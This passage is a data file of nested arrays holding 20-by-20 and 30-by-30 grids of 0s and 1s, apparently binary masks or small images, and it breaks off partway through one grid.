[[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0],[0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,0,1,1,0],[0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,0,0],[0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,0,0,0],[0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,0],[0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0],[0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0]], [[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0],[0,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0],[0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0],[0,0,0,0,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0],[0,0,0,0,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0],[0,0,0,0,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0],[0,1,1,1,0,1,0,0,1,0,1,1,1,1,0,0,0,0,0,0],[1,1,1,1,1,0,1,1,0,1,0,1,1,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0],[1,0,1,0,1,1,1,1,1,1,0,1,1,1,0,0,0,0,0,0],[0,0,0,0,0,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0],[0,0,0,0,0,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0],[0,0,0,1,1,1,1,1,1,1,1,0,1,1,0,0,0,0,0,0]], [[0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,0,1,1,1,1],[0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,0,1,1,1],[0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,0,1,1,1],[0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,0,1,1],[0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,0,1,1,1],[0,0,0,0,0,0,1,1,0,1,1,1,1,1,1,0,1,1,1,1],[0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,1,1,1,1],[0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,1,1,1],[0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,1,1,1,1],[0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,1,1,1],[0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1],[0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]], [[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0],[1,1,1,1,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,0,1,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,0,1,0,0,1,0,1,0,0,0,0,0,0,0],[1,1,1,1,1,1,0,1,1,1,1,0,1,1,1,0,0,0,0,0],[1,1,1,1,1,0,1,1,1,1,1,1,1,0,0,0,0,0,0,0],[1,1,1,1,0,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0],[1,1,1,1,1,0,1,1,1,1,1,1,1,0,0,0,0,0,0,0],[0,0,1,1,0,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0],[1,1,0,0,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,0,1,1,1,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0]], [[1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,0,0],[1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,0],[1,1,1,0,0,0,1,1,1,1,1,1,1,1,1,1,1,0,0,0],[1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0],[1,1,0,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,0,0],[1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0],[1,1,1,0,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0],[1,1,1,1,0,1,0,1,1,0,1,1,1,1,1,0,0,0,0,0],[1,1,1,1,1,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0],[0,0,1,1,1,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0],[0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]], [[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0],[0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0],[0,1,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0],[0,1,1,1,1,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0],[1,0,1,1,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0],[1,1,1,0,0,1,1,1,1,1,0,1,0,1,0,0,0,0,0,0],[1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,0,0,0,0],[1,1,1,1,1,0,1,1,1,1,1,1,1,1,0,1,0,1,0,0],[1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,0,0],[1,1,1,1,1,1,0,1,1,0,1,1,1,1,1,1,1,1,0,0],[1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1],[1,1,1,1,1,1,1,0,0,0,0,1,1,0,1,1,1,1,1,0],[1,1,1,1,1,1,0,0,0,1,1,1,1,1,1,1,1,1,1,0],[1,1,1,1,1,1,1,1,0,0,1,1,0,1,0,0,0,0,1,1],[1,1,1,1,1,1,0,1,0,1,1,1,0,0,0,0,0,1,1,0],[1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0],[1,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,1,1,0],[1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0]], [[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,1],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,0],[0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,1,1,1,1],[0,1,0,0,1,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,0,1],[0,1,0,1,1,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,1,1,1,1,1,1,1],[0,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1],[0,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0],[1,1,0,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0],[0,0,1,1,1,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]], [[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,1,0,0,0,0,1,1,1,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0],[0,0,1,0,1,1,0,0,0,1,1,1,1,1,1,1,1,0,1,1,0,1,1,1,0,0,0,0,0,0],[1,0,1,1,0,1,0,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0],[1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,0,0,0,0],[0,1,0,1,1,1,1,1,1,0,1,1,1,1,1,1,1,0,1,1,1,1,1,0,0,0,0,0,0,0],[0,0,0,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0],[0,0,1,1,0,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0],[1,0,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,0,1,1,1,1,1,1,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,1,1,1,1,1,1,1,1,1,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,1,1,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,1,1,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]], [[1,1,1,1,1,1,0,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,1,1,1,1,1,1,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,0,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,0,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,0,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,0,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,0,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,0,1,1,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,1,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,1,1,1,1,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]], [[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,1,1],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,1,1,1,1,1,0,1],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,1,1,1,1,1,1,1],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1],[0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1],[0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1],[0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1],[0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,0],[0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,1,0,0,0,0,1,1,1,1,1,1,1,1],[0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,1,1,1,1,0,1,1,1,1,1,1,1],[0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1],[0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1],[0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,0,1,1,1],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,1],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,1,0,1,1,1,1,1,1,1],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,1,1,1,1,1,1,1,1,1,1],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,0,0,0,1,1],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,1,1,1,1,1,1,1,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]], [[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,0,0,0,1,0,1,1,1,1,1,1,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,1,1,1,1,0,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,1,1,1,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,1,1,1,1,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,1,1,1,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,1,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,1,1,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]], [[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,0,0,0],[0,1,1,1,1,1,1,1,1,1,1,1,1,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],[1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,0,1,1,1,0,0,1,1,1,0,0],[1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0],[1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0],[1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0],[1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,0,1,1,1,1,0,1,0,0,0,0,0],[1,1,0,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,0,1,1,1,0,1,1,0,0,0,0],[1,0,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0],[0,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0],[1,0,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,0,1,0,0,0,0,